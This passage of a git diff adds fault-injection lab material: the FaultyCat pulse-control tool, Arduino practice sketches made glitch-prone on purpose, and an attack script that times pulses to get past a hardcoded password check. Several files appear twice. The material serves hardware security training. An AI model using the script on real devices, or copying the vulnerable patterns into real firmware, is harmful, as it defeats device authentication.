Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py new file mode 100644 index 0000000..3831eec --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py @@ -0,0 +1,133 @@ +import typer +import platform +import signal +import threading +import sys +from rich.console import Console +from rich.table import Table + +from Modules import CmdInterface +from Modules.CmdInterface import is_valid_number +from Modules import Worker + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + + +app = typer.Typer( + name="FaultyCat", + help="Script to control the FaultyCat and launch faulty attacks.", + add_completion=False, + no_args_is_help=True, +) + +faulty_worker = Worker.FaultyWorker() +workers = [] + + +def signal_handler(sig, frame): + print("You pressed Ctrl+C!") + faulty_worker.stop_workers() + for work in workers: + work.join() + sys.exit(0) + + +@app.command("config") +def config(): + """Get the current configuration of the FaultyCat.""" + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + + Console().print(table_config) + + +@app.command("devices") +def devices(): + """Get the list of available devices.""" + table_devices = Table(title="Available devices") + table_devices.add_column("Device", style="cyan") + table_devices.add_column("Description", style="magenta") + for device in faulty_worker.board_uart.get_serial_ports(): + table_devices.add_row(f"{device.device}", f"{device.description}") + + Console().print(table_devices) + + +@app.command("fault") +def faulty( + comport: str = typer.Argument( + default=DEFAULT_COMPORT, + help="Serial port to use for uploading.", + ), + pulse_count: int = typer.Option( + 1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True + ), + pulse_timeout: float = typer.Option( + 1.0, + "--pulse-timeout", + "-t", + help="Time in seconds between pulses.", + show_default=True, + ), + cmd: bool = typer.Option( + False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True + ), +): + """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks.""" + typer.echo("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row("Serial port", f"{comport}") + table_config.add_row( + "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}" + ) + table_config.add_row( + "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}" + ) + table_config.add_row("Pulse count", f"{pulse_count}") + table_config.add_row("Pulse timeout", f"{pulse_timeout}") + + Console().print(table_config) + + faulty_worker.set_serial_port(comport) + + if cmd: + CmdInterface.CMDInterface(faulty_worker).cmdloop() + return + + if not faulty_worker.validate_serial_connection(): + typer.secho( + f"FaultyCMD could not stablish connection withe the board on: {comport}.", + fg=typer.colors.RED, + ) + return + + faulty_worker.set_pulse_count(is_valid_number(pulse_count)) + faulty_worker.set_pulse_time(is_valid_number(pulse_timeout)) + + faulty_worker.start_faulty_attack() + + +if __name__ == "__main__": + print( + """\x1b[36;1m +.@@@%@*%+ -@@+ #@@: @@% =@@@@%- %@% %+ @= | +.@@-.-.#@+=@@* %@@- .@@@.@@%:@@@ @@@ %+ :+++- @*+++- | FaultyCat v0.0.1 +.@*.=.+@@:=@@* %@@- .@@@.@@% @@@ @@@ %+ #%:.:## @%:.:## | by JahazielLem +.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+ @+ =@.@+ =@. | Company: PWNLabs - Electronics Cats +%@% :#@@@%*#@@@%+ %@* :#@@@#: =%#**=.*####@..*####: | +\x1b[0m""" + ) + signal.signal(signal.SIGINT, signal_handler) + app() diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + 